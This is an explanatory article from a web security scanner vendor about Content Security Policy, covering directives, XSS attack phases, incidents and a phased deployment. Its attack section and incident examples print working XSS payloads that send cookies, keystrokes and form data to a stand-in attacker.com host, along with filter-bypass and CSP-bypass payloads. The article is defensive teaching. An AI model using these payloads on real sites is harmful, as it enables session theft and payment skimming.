Content Security Policy: Defending Against XSS and Injection Attacks

What is it?

Content Security Policy (CSP) is a security mechanism that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing website owners to control which resources (scripts, styles, images, etc.) browsers are permitted to load and execute. CSP provides a powerful declarative allow-list that restricts where content can come from, dramatically reducing the attack surface for injection vulnerabilities.

Traditional web security relied on filtering and sanitizing user input - attempting to identify and block malicious code before it reaches the browser. This defensive approach is error-prone because a single missed validation can lead to compromise. CSP takes a different approach: assume that some malicious code will slip through, but prevent it from executing by controlling what the browser trusts.

How CSP Works:

CSP is implemented through HTTP response headers (or <meta> tags, though headers are preferred):

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com; style-src 'self' 'unsafe-inline'; img-src *; report-uri /csp-report

This policy instructs the browser:

  • default-src 'self': By default, only load resources from the same origin
  • script-src 'self' https://trusted-cdn.com: JavaScript can only come from same origin or trusted-cdn.com
  • style-src 'self' 'unsafe-inline': Styles from same origin, plus allow inline <style> tags
  • img-src *: Images can load from anywhere
  • report-uri /csp-report: Send violation reports to this endpoint

Key Concepts:

Directives: Policy statements controlling different resource types

  • script-src: JavaScript sources
  • style-src: CSS sources
  • img-src: Image sources
  • font-src: Font sources
  • connect-src: AJAX, WebSocket, fetch() sources
  • frame-src: iframe sources
  • media-src: Video/audio sources
  • object-src: Flash and other plugins
  • default-src: Fallback for unspecified directives

Source expressions: Define what's allowed

  • 'self': Same origin (protocol, domain, port must match)
  • 'none': Nothing allowed
  • 'unsafe-inline': Allow inline scripts/styles (defeats much of CSP's purpose)
  • 'unsafe-eval': Allow eval() and similar (dangerous)
  • https://example.com: Specific domain
  • *.example.com: Wildcard subdomain
  • https:: Any HTTPS URL
  • 'nonce-<random>': Specific inline script/style with matching nonce attribute
  • 'sha256-<hash>': Specific inline script/style matching hash

Enforcement modes:

  1. Content-Security-Policy: Enforcing mode - violations are blocked
  2. Content-Security-Policy-Report-Only: Report-only mode - violations are reported but not blocked (for testing)

Example: Preventing XSS

Without CSP, an XSS vulnerability allows attackers to inject:

<script>
  fetch('https://attacker.com/steal?cookie=' + document.cookie)
</script>

With CSP (script-src 'self'), the browser:

  1. Detects the inline script
  2. Checks CSP policy
  3. Sees inline scripts aren't allowed
  4. Blocks execution
  5. Logs error to console
  6. Sends violation report (if report-uri configured)

The attacker's payload never executes, even though the XSS vulnerability exists.

Why does it matter?

CSP addresses one of the most persistent and dangerous classes of web vulnerabilities: code injection attacks that execute in users' browsers.

XSS Attack Prevention

Cross-site scripting remains one of the most common web vulnerabilities. The OWASP Top 10 has included injection attacks (including XSS) in every edition since its inception. XSS attacks allow attackers to:

  • Steal session cookies and authentication tokens
  • Capture user keystrokes
  • Deface websites
  • Redirect users to phishing sites
  • Steal sensitive information from the page
  • Perform actions as the logged-in user
  • Install persistent backdoors

CSP provides defense-in-depth against XSS:

Scenario: Developer makes a mistake:

// Vulnerable code
echo "<div>Hello " . $_GET['name'] . "</div>";

Attack:

https://example.com/?name=<script>fetch('https://attacker.com/steal?data='+document.cookie)</script>

Without CSP: Attack succeeds, cookies stolen

With CSP (script-src 'self'):

  • Browser blocks the injected inline script
  • Console error: "Refused to execute inline script because it violates the following Content Security Policy directive: 'script-src 'self''"
  • Violation report sent to server
  • Attack fails, user protected

Defense Against Multiple Attack Vectors

CSP protects against numerous attack types:

Reflected XSS: Malicious code in URL parameters reflected in the page Stored XSS: Malicious code stored in database and displayed to users DOM-based XSS: Client-side JavaScript creates vulnerabilities Clickjacking: Embedding site in iframe to trick users into clicking Data exfiltration: Preventing unauthorized data transmission Resource injection: Loading malicious resources from attacker-controlled domains Mixed content: Preventing HTTPS pages from loading HTTP resources

Reducing Attack Surface

CSP significantly shrinks the attack surface:

Without CSP:

  • Any inline JavaScript executes
  • Scripts can load from any domain
  • eval(), setTimeout(string), and similar dangerous functions work
  • Any domain can embed your site in iframes
  • Resources can come from anywhere

With strict CSP:

  • Inline scripts blocked (except nonce/hash-approved)
  • Scripts only from explicitly allowed domains
  • eval() and similar functions disabled
  • Framing controlled
  • Resource origins restricted

Even if attackers find an injection point, CSP dramatically limits what they can accomplish.

Compliance and Best Practices

Security frameworks and compliance standards increasingly recommend or require CSP:

  • OWASP: Recommends CSP in secure headers guide
  • PCI DSS: Version 4.0 mentions CSP in secure development practices
  • NIST: Includes CSP in cybersecurity guidelines
  • Google: Requires CSP for Chrome Extensions
  • Mozilla: CSP is part of web security best practices

Organizations seeking security certifications or compliance often need CSP implementation.

Monitoring and Visibility

CSP's reporting mechanism provides security visibility:

  • Attack detection: Violation reports reveal injection attempts
  • Policy testing: Report-only mode validates policies before enforcement
  • Debugging: Identifies legitimate resources blocked by overly strict policies
  • Trend analysis: Monitor attack patterns and sources
  • Security metrics: Track policy violations as a security KPI

Modern Web Development Alignment

CSP encourages secure development practices:

  • Separation of concerns: External JavaScript/CSS files instead of inline
  • Nonce/hash usage: Dynamic nonce generation for unavoidable inline code
  • Trusted CDNs: Explicit declaration of third-party dependencies
  • Subresource Integrity (SRI): Hash verification of CDN resources
  • Build pipeline integration: CSP generation during build processes

Browser Support and Adoption

CSP is widely supported:

  • Chrome/Edge: Full CSP Level 3 support
  • Firefox: Full CSP Level 3 support
  • Safari: Good CSP support (some Level 3 features pending)
  • Mobile browsers: iOS Safari, Chrome Android support CSP

Over 95% of browsers support CSP. Non-supporting browsers simply ignore the header, degrading gracefully.

Performance Considerations

Contrary to intuition, CSP can improve performance:

  • Blocks resource-intensive attacks
  • Forces external scripts (which browsers can cache)
  • Prevents arbitrary third-party script injection
  • Enables optimization strategies (preloading, prefetching)

How attacks work

Understanding XSS and related attacks demonstrates why CSP is critical for modern web security.

Phase 1: Vulnerability Discovery

Attackers identify injection points in web applications:

Manual Testing:

Attackers submit test payloads in all user inputs:

# Test payloads
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
"><script>alert('XSS')</script>
javascript:alert('XSS')

Testing locations:

  • URL parameters: ?search=<script>alert(1)</script>
  • Form fields: Username, comments, messages
  • HTTP headers: User-Agent, Referer (if reflected in pages)
  • File uploads: Filename fields, metadata
  • API parameters: JSON payloads, XML data

Automated Scanning:

Tools like Burp Suite, OWASP ZAP, and custom scripts:

# Using sqlmap with XSS testing
sqlmap -u "http://example.com/search?q=test" --level=5 --risk=3

# Using XSStrike
python xsstrike.py -u "http://example.com/search?q=test"

Phase 2: Payload Development

Once injection point is found, attackers craft payloads to bypass filters:

Basic XSS (unfiltered):

<script>
  fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify({
      cookies: document.cookie,
      localStorage: localStorage,
      sessionStorage: sessionStorage
    })
  })
</script>

Bypassing filters:

If application filters <script> tags:

<img src=x onerror="eval(atob('ZmV0Y2goJ2h0dHBzOi8vYXR0YWNrZXIuY29tL3N0ZWFsPycgKyBkb2N1bWVudC5jb29raWUp'))">

(Base64-encoded payload to bypass keyword filters)

If application filters quotes:

<script>eval(String.fromCharCode(102,101,116,99,104,...))</script>

(Character codes instead of strings)

Mutation XSS (mXSS):

Exploiting browser HTML parsers:

<noscript><p title="</noscript><img src=x onerror=alert(1)>">

Browsers may parse this incorrectly, allowing execution despite filtering.

Phase 3: Attack Execution

Reflected XSS Attack:

  1. Attacker crafts malicious URL:
https://example.com/search?q=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
  1. Attacker sends URL to victim (email, social media, ads)

  2. Victim clicks link

  3. Application reflects the q parameter in search results page:

<div>Search results for: <script>fetch('https://attacker.com/steal?c='+document.cookie)</script></div>
  1. Browser executes script, sends cookies to attacker

Stored XSS Attack:

  1. Attacker submits comment with malicious payload:
Great article! <script>
  new Image().src = 'https://attacker.com/log?cookie=' + document.cookie;
</script>
  1. Application stores comment in database without sanitization

  2. Every user viewing the comment page loads the malicious script

  3. Script executes in each victim's browser, stealing cookies/data

DOM-based XSS:

Vulnerability in client-side JavaScript:

// Vulnerable code
const query = new URLSearchParams(window.location.search).get('name');
document.getElementById('welcome').innerHTML = 'Welcome ' + query;

Attack URL:

https://example.com/?name=<img src=x onerror=alert(document.cookie)>

The vulnerability is entirely client-side - server isn't involved in the injection.

Phase 4: Post-Exploitation

With JavaScript execution, attackers can:

Session Hijacking:

// Steal all cookies
fetch('https://attacker.com/hijack', {
  method: 'POST',
  body: JSON.stringify({
    cookies: document.cookie,
    url: window.location.href,
    user: document.querySelector('.username')?.textContent
  })
});

Keylogging:

document.addEventListener('keypress', function(e) {
  fetch('https://attacker.com/keylog', {
    method: 'POST',
    body: JSON.stringify({
      key: e.key,
      target: e.target.name,
      url: window.location.href
    })
  });
});

Form Hijacking:

document.querySelectorAll('form').forEach(form => {
  form.addEventListener('submit', function(e) {
    e.preventDefault();
    const formData = new FormData(form);
    fetch('https://attacker.com/formgrab', {
      method: 'POST',
      body: formData
    });
    form.submit(); // Also submit to real site to avoid detection
  });
});

Page Defacement:

document.body.innerHTML = '<h1>Hacked by AttackerName</h1>';

Cryptojacking:

const script = document.createElement('script');
script.src = 'https://attacker.com/miner.js';
document.head.appendChild(script);

Phase 5: CSP Bypass Attempts

Against sites with CSP, attackers attempt bypasses:

Exploiting 'unsafe-inline':

If policy includes script-src 'self' 'unsafe-inline':

<script>/* malicious code */</script>

Inline scripts execute, defeating CSP purpose.

Exploiting 'unsafe-eval':

If policy includes script-src 'self' 'unsafe-eval':

<div onclick="eval(atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ=='))">Click me</div>

Abusing allowed domains:

If policy includes script-src 'self' https://trusted-cdn.com:

Attackers look for:

  • JSONP endpoints on trusted-cdn.com
  • Open redirects that can load malicious scripts
  • User-controlled content on allowed domains

Example:

<script src="https://trusted-cdn.com/jsonp?callback=alert(document.cookie)"></script>

Base tag injection:

If HTML injection allows <base> tag:

<base href="https://attacker.com/">
<script src="/malicious.js"></script>

Browser loads script from attacker's domain instead of site's domain.

Dangling markup injection:

Exploiting incomplete CSP coverage:

<img src='https://attacker.com/collect?data=

This unclosed tag causes browser to send subsequent content to attacker.

Real-world incidents

CSP-related incidents demonstrate both successful attacks against sites without CSP and the effectiveness of CSP as defense.

British Airways Data Breach (2018)

Attackers compromised British Airways' website with Magecart-style attack, injecting malicious JavaScript that captured customer payment information. Over 380,000 payment card details were stolen over 15 days before detection.

The attack involved injecting:

<script src="https://attacker-controlled-domain.com/steal.js"></script>

CSP could have prevented this: With script-src 'self', the external malicious script would have been blocked. Even if attackers compromised the server, CSP would prevent loading scripts from unauthorized domains.

British Airways was fined £20 million (reduced from £183 million) by the UK ICO for inadequate security. The incident led to industry-wide adoption of CSP for e-commerce sites.

Magecart Attacks (2015-Present)

Magecart is a category of attacks targeting e-commerce sites to steal payment card data. Attackers inject skimming scripts that intercept form submissions:

document.querySelector('form[name="checkout"]').addEventListener('submit', function(e) {
  const formData = new FormData(this);
  fetch('https://attacker.com/collect', { method: 'POST', body: formData });
});

Notable victims:

  • Ticketmaster (2018): 40,000 customers affected
  • Newegg (2018): One month of customer data stolen
  • Hundreds of smaller e-commerce sites

Defense: CSP with strict script-src prevents external script loading and inline script execution. Many e-commerce platforms now include CSP in default security configurations.

MySpace Samy Worm (2005)

Before CSP existed, the Samy worm exploited XSS in MySpace to become the fastest-spreading computer worm in history:

// Simplified version of the worm
var payload = '<script>' + wormCode + '</script>';
// Add payload to user's profile
// When others view profile, they get infected and spread it further

Within 20 hours, over 1 million users were affected. The worm added "Samy is my hero" to profiles and auto-added the attacker as a friend.

CSP would have stopped this: With script-src 'self', inline scripts wouldn't execute. The worm couldn't spread.

TweetDeck XSS (2014)

A stored XSS vulnerability in TweetDeck (Twitter's dashboard) allowed attackers to create self-retweeting tweets:

<script>
  // Code to retweet this tweet from anyone viewing it
  fetch('/api/retweet', { method: 'POST', body: { id: thisTweetId } });
</script>

The XSS spread rapidly as users' accounts automatically retweeted it to their followers. Twitter had to temporarily shut down TweetDeck to fix the vulnerability.

CSP would have prevented this: Twitter later implemented strict CSP across all properties, preventing similar attacks.

GitHub CSP Implementation Success (2013-Present)

GitHub was an early CSP adopter, implementing strict CSP in 2013:

Content-Security-Policy: default-src 'none'; script-src github.githubassets.com; ...

Since implementation:

  • Multiple XSS vulnerabilities have been reported to GitHub
  • CSP prevented exploitation in every case
  • Researchers receive bounties for finding XSS, but attacks don't work due to CSP
  • GitHub's CSP is frequently cited as a model implementation

Google CSP Adoption

Google implemented strict CSP across properties using nonce-based approach:

Content-Security-Policy: script-src 'nonce-random123' 'strict-dynamic'

Results:

  • Eliminated classes of XSS vulnerabilities
  • Reduced CSP violation reports by 90% after initial deployment
  • Inspired nonce-based CSP best practices industry-wide

Google published extensive research on CSP effectiveness, showing that strict CSP (nonce-based or hash-based) blocked 95%+ of XSS attacks that would have succeeded without CSP.

What Nyambush detects

Nyambush provides comprehensive CSP analysis to help you implement and maintain effective content security policies.

CSP Header Presence Check

We query your website and check for CSP headers:

curl -I https://example.com | grep -i content-security-policy

We identify:

  • Content-Security-Policy: Enforcing policy (good)
  • Content-Security-Policy-Report-Only: Testing policy (acceptable for testing, should transition to enforcing)
  • No CSP: Missing CSP (critical issue for most sites)
  • Multiple CSP headers: Can cause unexpected behavior

Policy Directive Analysis

We parse your CSP and analyze each directive:

default-src (fallback for other directives):

  • 'none': Excellent - explicit allow-lists required
  • 'self': Good - same-origin default
  • * or missing: Weak - allows any source

script-src (most critical directive):

  • 'none': No JavaScript (rare, very secure)
  • 'self': Scripts only from same origin (good baseline)
  • 'nonce-random': Nonce-based (excellent)
  • 'sha256-hash': Hash-based (excellent)
  • 'unsafe-inline': Inline scripts allowed (defeats CSP purpose for XSS)
  • 'unsafe-eval': eval() allowed (dangerous)
  • * or no script-src: Any script source (critical vulnerability)

style-src:

  • Similar to script-src
  • 'unsafe-inline' more acceptable for styles (less dangerous than scripts)

img-src, media-src, font-src:

  • Assess restriction level
  • Wide open (*) is often acceptable for these (less security critical)

connect-src (AJAX, fetch, WebSocket):

  • Assess API endpoint restrictions
  • Overly permissive policies allow data exfiltration

frame-src/frame-ancestors:

  • Controls iframe embedding
  • Missing frame-ancestors allows clickjacking

report-uri/report-to:

  • Presence of violation reporting endpoint
  • Validates endpoint accessibility

Policy Strength Grading

We assign security grade based on configuration:

A+ (Excellent):

  • Nonce or hash-based script-src
  • No 'unsafe-inline' or 'unsafe-eval'
  • Comprehensive directive coverage
  • Violation reporting configured

A (Strong):

  • Strict allow-lists
  • No unsafe directives
  • Most resources restricted

B (Good):

  • Basic restrictions in place
  • Some unsafe directives present
  • Needs improvement

C (Weak):

  • Minimal restrictions
  • Multiple unsafe directives
  • Provides limited protection

D/F (Ineffective):

  • Wide open policies
  • Defeats CSP purpose
  • Needs complete redesign

Unsafe Directive Detection

We flag dangerous directives:

'unsafe-inline':

Content-Security-Policy: script-src 'self' 'unsafe-inline'

Issue: Allows inline scripts, defeating primary XSS protection Recommendation: Use nonce or hash-based CSP

'unsafe-eval':

Content-Security-Policy: script-src 'self' 'unsafe-eval'

Issue: Allows eval(), setTimeout(string), Function() constructor Recommendation: Refactor code to avoid eval()

Wildcard sources:

Content-Security-Policy: script-src * 'unsafe-inline'

Issue: Allows scripts from any domain Recommendation: Explicit allow-list

Common Misconfiguration Detection

1. Missing default-src:

Content-Security-Policy: script-src 'self'

Issue: Other resource types unrestricted Recommendation: Add default-src 'none' and explicit allow-lists

2. http: protocol source:

Content-Security-Policy: script-src 'self' http://cdn.example.com

Issue: Allows HTTP resource loading on HTTPS pages (mixed content) Recommendation: Use HTTPS sources only

3. Missing frame-ancestors:

Content-Security-Policy: default-src 'self'

Issue: Site can be framed (clickjacking risk) Recommendation: Add frame-ancestors 'self' or 'none'

4. Report-Only stuck in testing:

Sites with Report-Only CSP for extended periods should transition to enforcing.

CSP Bypass Vulnerability Detection

We check for common bypass opportunities:

JSONP endpoints on allowed domains: If script-src allows a domain with JSONP endpoints, attackers can abuse them.

Overly broad wildcards:

Content-Security-Policy: script-src 'self' https://*.example.com

If attacker can get content on any subdomain, they can bypass CSP.

Angular/AngularJS compatibility:

Content-Security-Policy: script-src 'self' 'unsafe-eval'

Older Angular versions require 'unsafe-eval', creating bypass opportunities.

Report Validation

If report-uri or report-to is configured, we:

  • Validate endpoint URL format
  • Check endpoint accessibility
  • Verify reporting group configuration (for report-to)

Browser Compatibility Check

We verify compatibility with modern browsers:

  • CSP Level 3 features (nonce, hash, strict-dynamic)
  • Deprecated features (plugin-types, reflected-xss)
  • Vendor-specific prefixes

Integration with Application Architecture

We provide recommendations based on detected tech stack:

  • SPA frameworks (React, Vue, Angular)
  • CMS platforms (WordPress, Drupal)
  • CDN usage (Cloudflare, Fastly, AWS CloudFront)
  • Third-party services (analytics, ads, payment processors)

Detailed Reporting

Our CSP analysis includes:

  • Current policy with directive-by-directive breakdown
  • Security grade and risk assessment
  • Unsafe directive identification
  • Misconfiguration detection
  • Bypass vulnerability warnings
  • Best practice recommendations
  • Example policy for your stack
  • Implementation guidance
  • Reporting endpoint configuration
  • AI-powered contextual analysis

How to fix it

Implementing CSP requires understanding your application's resource loading patterns and iterative policy refinement.

Step 1: Inventory Resource Loading

Before writing CSP, catalog all resources your application loads:

Analyze with browser DevTools:

  1. Open site in browser
  2. Open DevTools (F12)
  3. Navigate to Network tab
  4. Refresh page
  5. Review all resources loaded:
    • Scripts (JS files)
    • Styles (CSS files)
    • Images
    • Fonts
    • AJAX calls
    • WebSocket connections
    • Iframes

Document:

  • Resource types
  • Origins (same-origin vs third-party)
  • Inline vs external
  • Dynamic loading patterns

Check for inline content:

# Search for inline scripts
grep -r "<script" your-website-files/

# Search for inline styles
grep -r "<style" your-website-files/
grep -r "style=" your-website-files/

# Search for event handlers
grep -r "onclick=" your-website-files/

Step 2: Start with Report-Only Mode

Begin with Content-Security-Policy-Report-Only to test without breaking your site:

# Nginx
add_header Content-Security-Policy-Report-Only "default-src 'none'; script-src 'self'; style-src 'self'; img-src 'self'; font-src 'self'; connect-src 'self'; report-uri /csp-report" always;
# Apache
Header always set Content-Security-Policy-Report-Only "default-src 'none'; script-src 'self'; style-src 'self'; img-src 'self'; font-src 'self'; connect-src 'self'; report-uri /csp-report"

This strict policy will generate violation reports without blocking resources.

Step 3: Implement Report Collection Endpoint

Create endpoint to receive CSP violation reports:

Node.js/Express example:

app.post('/csp-report', express.json({ type: 'application/csp-report' }), (req, res) => {
  const report = req.body['csp-report'];

  console.log('CSP Violation:', JSON.stringify(report, null, 2));

  // Log to file or database
  fs.appendFileSync('csp-violations.log', JSON.stringify(report) + '\n');

  // Send to monitoring service
  // analytics.track('CSP Violation', report);

  res.status(204).end();
});

PHP example:

<?php
$report = json_decode(file_get_contents('php://input'), true);

if ($report && isset($report['csp-report'])) {
    $violation = $report['csp-report'];

    // Log violation
    error_log('CSP Violation: ' . json_encode($violation));

    // Save to file
    file_put_contents(
        'csp-violations.log',
        date('Y-m-d H:i:s') . ' ' . json_encode($violation) . PHP_EOL,
        FILE_APPEND
    );
}

http_response_code(204);

Step 4: Analyze Violation Reports

Monitor reports for 1-2 weeks. Example violation:

{
  "csp-report": {
    "document-uri": "https://example.com/page",
    "violated-directive": "script-src",
    "blocked-uri": "https://third-party-analytics.com/analytics.js",
    "line-number": 42,
    "column-number": 15,
    "source-file": "https://example.com/app.js"
  }
}

Analysis questions:

  • Is this a legitimate resource that should be allowed?
  • Is this an attack attempt that should be blocked?
  • Is this a misconfigured resource that should be fixed?

Common patterns:

Legitimate third-party:

blocked-uri: "https://google-analytics.com/analytics.js"

Action: Add to script-src allow-list

Browser extension:

blocked-uri: "chrome-extension://..."

Action: Ignore (user's extension, not your code)

Inline script:

violated-directive: "script-src 'self'"
blocked-uri: "inline"
source-file: "https://example.com/page"

Action: Refactor to external file or use nonce/hash

Step 5: Refine Policy

Based on violation analysis, update policy:

Adding third-party domains:

Content-Security-Policy-Report-Only: default-src 'none'; script-src 'self' https://google-analytics.com https://cdn.example.com; style-src 'self'; ...

Allowing images from anywhere:

img-src *

Allowing data URIs for images:

img-src 'self' data:

Allowing AJAX to API:

connect-src 'self' https://api.example.com

Step 6: Handle Inline Scripts/Styles

Best practice is eliminating inline content. If unavoidable, use nonces or hashes:

Nonce-based CSP (recommended for dynamic content):

Generate random nonce for each request:

// PHP
$nonce = base64_encode(random_bytes(16));
header("Content-Security-Policy: script-src 'nonce-$nonce'");
// Node.js
const crypto = require('crypto');
const nonce = crypto.randomBytes(16).toString('base64');
res.setHeader('Content-Security-Policy', `script-src 'nonce-${nonce}'`);

Add nonce to inline scripts:

<script nonce="<?= $nonce ?>">
  // Inline script here
  console.log('Allowed via nonce');
</script>

Hash-based CSP (for static content):

Calculate hash of inline script:

echo -n "console.log('Hello');" | openssl dgst -sha256 -binary | openssl base64

Output: RGUMgMn8CNbfKJxzp9cIjZbHqV5qjhUgZO0cRHHOL4Q=

Add to CSP:

Content-Security-Policy: script-src 'sha256-RGUMgMn8CNbfKJxzp9cIjZbHqV5qjhUgZO0cRHHOL4Q='

Include exact script in HTML:

<script>console.log('Hello');</script>

Step 7: Transition to Enforcing Mode

After refining and testing (2-4 weeks in Report-Only):

Change from:

Content-Security-Policy-Report-Only: ...

To:

Content-Security-Policy: ...

Gradual rollout recommended:

  • Deploy to staging environment first
  • Test thoroughly
  • Deploy to production for small % of traffic
  • Monitor for issues
  • Gradually increase to 100%

Step 8: Implement Strict CSP

For maximum security, implement strict nonce-based CSP:

Content-Security-Policy:
  default-src 'none';
  script-src 'nonce-random123' 'strict-dynamic';
  style-src 'nonce-random123';
  img-src 'self' https:;
  font-src 'self';
  connect-src 'self';
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self';
  report-uri /csp-report

'strict-dynamic' explanation:

  • Allows scripts loaded by nonce-approved scripts
  • Simplifies policy for dynamic script loading
  • Provides strong protection with less maintenance

Step 9: Configure Reporting (CSP Level 3)

Modern reporting API:

Content-Security-Policy:
  default-src 'self';
  script-src 'nonce-random123';
  report-to csp-endpoint

Report-To: {"group":"csp-endpoint","max_age":10886400,"endpoints":[{"url":"https://example.com/csp-report"}]}

Step 10: Ongoing Maintenance

CSP requires continuous maintenance:

Monitor violation reports:

  • Investigate new violations
  • Distinguish attacks from legitimate issues
  • Update policy as site evolves

Update for new features:

  • New third-party services require policy updates
  • New resource types need appropriate directives
  • Regular audits of allow-lists

Test changes:

  • Use Report-Only for testing policy changes
  • Validate in staging before production
  • Monitor after deploying changes

Use automation:

  • Integrate CSP validation in CI/CD
  • Automated policy generation tools
  • Nyambush continuous monitoring

Example Complete Configuration:

Nginx:

server {
    listen 443 ssl http2;
    server_name example.com;

    # SSL configuration...

    # Generate nonce (requires nginx with Perl module or use unique request ID)
    set $csp_nonce $request_id;

    # CSP header with nonce
    add_header Content-Security-Policy "default-src 'none'; script-src 'nonce-$csp_nonce' 'strict-dynamic'; style-src 'self' 'nonce-$csp_nonce'; img-src 'self' https:; font-src 'self'; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; report-uri /csp-report" always;

    # Pass nonce to application
    fastcgi_param CSP_NONCE $csp_nonce;
    proxy_set_header X-CSP-Nonce $csp_nonce;

    location / {
        # Application configuration...
    }

    location /csp-report {
        # CSP report endpoint
        proxy_pass http://localhost:3000/csp-report;
    }
}

Summary

Content Security Policy (CSP) defends against cross-site scripting (XSS), clickjacking, and code injection attacks by controlling which resources browsers are permitted to load and execute. Through declarative allow-lists in HTTP headers, CSP provides defense-in-depth - assuming some malicious code will bypass input validation, but preventing its execution by restricting trusted sources.

CSP addresses one of the most persistent web vulnerabilities. XSS attacks steal session cookies, capture keystrokes, deface websites, redirect to phishing sites, and install persistent backdoors. Traditional input sanitization is error-prone - a single missed validation leads to compromise. CSP takes a different approach: even if attackers inject code, CSP prevents execution through browser-enforced restrictions.

The mechanism uses directives (script-src, style-src, img-src, etc.) with source expressions ('self', specific domains, nonces, hashes) to define allowed resources. Enforcement mode blocks violations; report-only mode reports without blocking (for testing). Critical features include inline script/style blocking (unless nonce/hash-approved), eval() prevention, clickjacking protection through frame-ancestors, and violation reporting for monitoring and debugging.

Real-world impact demonstrates CSP effectiveness. British Airways lost 380,000 payment cards to Magecart attacks that CSP would have prevented, resulting in £20 million fines. Magecart attacks targeted hundreds of e-commerce sites - CSP adoption significantly reduced success rates. GitHub's early CSP adoption prevented exploitation of discovered XSS vulnerabilities. Google's strict nonce-based CSP blocked 95%+ of XSS attacks.

Implementation requires phased deployment: inventory resource loading patterns, start with Report-Only mode, implement violation reporting endpoint, analyze reports for 1-2 weeks, refine policy to allow legitimate resources while blocking malicious ones, handle inline content through nonces or hashes (or refactor to external files), transition to enforcing mode, implement strict nonce-based CSP for maximum protection, and establish ongoing monitoring.

Nyambush automates CSP validation through header detection, directive analysis, policy strength grading, unsafe directive identification, misconfiguration detection, bypass vulnerability warnings, reporting endpoint validation, browser compatibility checking, and recommendations based on detected technology stack. We provide detailed remediation guidance and example policies.

CSP is essential for modern web security. XSS vulnerabilities are common and persistent - CSP provides critical defense when (not if) injection vulnerabilities exist. Implement CSP to prevent XSS exploitation, defend against injection attacks, protect user data, meet security best practices, enable attack detection through reporting, and demonstrate security commitment. Use Nyambush to validate your CSP implementation and maintain effective policies as your application evolves.

Share this article:Post on X

Is your domain secure?

Run a free scan with Nyambush to check your security risks right now.